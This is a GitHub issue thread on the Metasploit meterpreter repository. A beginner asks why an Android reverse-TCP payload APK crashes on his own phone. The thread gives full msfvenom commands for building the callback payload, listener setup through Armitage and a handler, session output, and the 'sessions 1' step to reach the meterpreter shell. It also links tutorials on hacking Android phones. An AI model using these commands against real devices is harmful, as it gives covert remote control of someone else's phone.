rapid7 / meterpreter

THIS REPO IS OBSOLETE. USE https://github.com/rapid7/metasploit-payloads INSTEAD
Other
328 stars 144 forks source link

meterpreter app continually crashes on android #196

Closed HsPanda closed 7 years ago

HsPanda commented 7 years ago

hello, i'm new to this and testing things out/following tutorials

i'm using a usb live version of kali and i'm trying to create an apk for my phone

root@kali:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > app.apk

i think just manually transfer the created apk file to my phone and install it, it installs fine but then when i try to launch it i keep getting the error that "unfortunately mainactivity has stopped" not sure how to correct this, any help?

h00die commented 7 years ago
  1. What version of metasploit
  2. what phone and OS
  3. what guide are you following
  4. did you start the multi handler to accept the connection from the meterpreter app?
HsPanda commented 7 years ago
  1. 4.16.6 - dev
  2. android samsung galaxy s4 using SW: 5.0.1
  3. several guides including : https://www.security-sleuth.com/sleuth-blog/2015/1/11/using-metasploit-to-hack-an-android-phone and http://resources.infosecinstitute.com/lab-hacking-an-android-device-with-msfvenom/#gref and also checking the forum a little bit for guidance (like using msfvenom instead of msfpayload)
  4. as far as i can tell, yes, i'm using a combination of the basic msf terminal and armitage, the phone i'm trying to hack shows up in armitage but it's greyed out, then it will connect for a minute and go back to greyed out (which corisponds with the app opening then crashing )
h00die commented 7 years ago

your lhost is 127.0.0.1? are you running msf on the phone itself? Can you show the step by step of the venom creation, and the multi handler starting? Good to show EXACTLY what you are running so we don't speculate.

I'd also be worried that the one blog is 2.5yrs old, LOTS changes in that time.

HsPanda commented 7 years ago

launch terminal

type in msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.4 lport=4444 R > app.apk

copy/paste apk file to my phone (plugged in via usb) install apk launch apk (apk will crash at this point)

launch armitage keeping everything default (host 127.0.0.01, port 55553 ) select yes to start metasploit in armitage select Armitage - listeners - Lhost , set lhost to 192.168.0.4, then select listeners -reverse, put port 4444 and select type as "meterpreter"

h00die commented 7 years ago

not knowing armitage, not sure if "meterpreter" will handle an android one or not. Try running the multi handler in a console instead to ensure its the right meterpreter

HsPanda commented 7 years ago

yeah but wouldn't the app continually crashing prevent the meterpreter from running on the phone to start with? so if i use armitage or if i use the console it wouldn't matter because there is nothing to listen for?

it's more the app crashing i'm trying to fix =/

HsPanda commented 7 years ago

update: i got the apk stable on the phone and it appears to be working, for the most part, except all i get when i exploit is .....

exploit [*] Exploit running as background job 0.

[] Started reverse TCP handler on 192.168.0.4:443 msf exploit(handler) > [] Sending stage (69048 bytes) to 192.168.0.6 [*] Meterpreter session 1 opened (192.168.0.4:443 -> 192.168.0.6:60621) at 2017-10-10 10:43:52 +0000

and then nothing, the meterpreter command line never shows up

timwr commented 7 years ago

@HsPanda you can switch to the session with sessions 1

msf > sessions 1
meterpreter > 

Join our irc, it's much easier to help you there than via github

HsPanda commented 7 years ago

@timwr AWESOME! THANK YOU!

kobotecnico commented 5 years ago

How did you managed to make the app stable and not to crash ?

ghost commented 5 years ago

how did you get you app not to crash (MAIN ACTIVITY )

lylest commented 4 years ago

how did you solve it